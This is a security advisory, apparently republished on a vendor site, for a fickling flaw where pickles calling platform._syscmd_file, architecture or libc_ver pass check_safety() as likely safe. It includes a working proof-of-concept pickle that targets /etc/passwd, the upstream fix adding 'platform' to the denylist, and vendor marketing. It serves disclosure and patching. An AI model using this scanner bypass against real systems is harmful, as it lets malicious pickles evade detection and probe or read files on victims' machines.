Summary
fickling's platform module subprocess invocation evades checksafety() with LIKELYSAFE
Our assessment
We added platform to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975).
It was not possible to inject extra arguments to file without first monkey-patching platform._follow_symlinks with the pickle, as it always returns an absolute path. We independently hardened it with https://github.com/trailofbits/fickling/commit/b9e690c5a57ee9cd341de947fc6151959f4ae359 to reduce the risk of obtaining direct module references while evading detection.
target = _follow_symlinks(target)
# "file" output is locale dependent: force the usage of the C locale
# to get deterministic behavior.
env = dict(os.environ, LC_ALL='C')
try:
# -b: do not prepend filenames to output lines (brief mode)
output = subprocess.check_output(['file', '-b', target],
stderr=subprocess.DEVNULL,
env=env)
Original report
A crafted pickle invoking platform._syscmd_file, platform.architecture, or platform.libc_ver passes check_safety() with Severity.LIKELY_SAFE and zero findings. During fickling.loads(), these functions invoke subprocess.check_output with attacker-controlled arguments or read arbitrary files from disk.
Clarification: The subprocess call uses a list argument (['file', '-b', target]), not shell=True, so the attacker controls the file path argument to the file command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection.
Affected versions
<= 0.1.9 (verified on upstream HEAD as of 2026-03-04)
Non-duplication check against published Fickling GHSAs
No published advisory covers platform module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in UNSAFE_IMPORTS) but covers a distinct set of functions.
Root cause
platformnot inUNSAFE_IMPORTSdenylist.OvertlyBadEvalsskips calls imported from stdlib modules.UnusedVariablesheuristic neutralized by making call result appear used (SETITEMSpath).
Reproduction (clean upstream)
from unittest.mock import patch
import fickling
import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety
pickled = Pickled([
op.Proto.create(4),
op.ShortBinUnicode('platform'),
op.ShortBinUnicode('_syscmd_file'),
op.StackGlobal(),
op.ShortBinUnicode('/etc/passwd'),
op.TupleOne(),
op.Reduce(),
op.Memoize(),
op.EmptyDict(),
op.ShortBinUnicode('init'),
op.ShortBinUnicode('x'),
op.SetItem(),
op.Mark(),
op.ShortBinUnicode('trace'),
op.BinGet(0),
op.SetItems(),
op.Stop(),
])
results = check_safety(pickled)
print(results.severity.name, len(results.results)) # LIKELY_SAFE 0
with patch('subprocess.check_output', return_value=b'ASCII text') as mock_sub:
fickling.loads(pickled.dumps())
print('subprocess called?', mock_sub.called) # True
print('args:', mock_sub.call_args[0]) # (['file', '-b', '/etc/passwd'],)
Additional affected functions (same pattern):
platform.architecture('/etc/passwd'), calls_syscmd_fileinternallyplatform.libc_ver('/etc/passwd'), opens and reads arbitrary file contents
Minimal patch diff
--- a/fickling/fickle.py
+++ b/fickling/fickle.py
@@
+ "platform",
Validation after patch
- Same PoC flips to
LIKELY_OVERTLY_MALICIOUS fickling.loadsraisesUnsafeFileErrorsubprocess.check_outputis not called
Impact
- False-negative verdict:
check_safety()returnsLIKELY_SAFEwith zero findings for a pickle that invokes a subprocess with attacker-controlled arguments. - Subprocess invocation:
platform._syscmd_filecallssubprocess.check_output(['file', '-b', target])wheretargetis attacker-controlled. Thefilecommand reads file headers and returns type information, enabling file existence and type probing. - File read:
platform.libc_veropens and reads chunks of an attacker-specified file path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-5CXW-W2XG-2M8H? GHSA-5CXW-W2XG-2M8H is a medium-severity security vulnerability in fickling (pip), affecting versions <= 0.1.9. It is fixed in 0.1.10.
- Which versions of fickling are affected by GHSA-5CXW-W2XG-2M8H? fickling (pip) versions <= 0.1.9 is affected.
- Is there a fix for GHSA-5CXW-W2XG-2M8H? Yes. GHSA-5CXW-W2XG-2M8H is fixed in 0.1.10. Upgrade to this version or later.
- Is GHSA-5CXW-W2XG-2M8H exploitable, and should I be worried? Whether GHSA-5CXW-W2XG-2M8H is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-5CXW-W2XG-2M8H is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-5CXW-W2XG-2M8H? Upgrade
ficklingto 0.1.10 or later.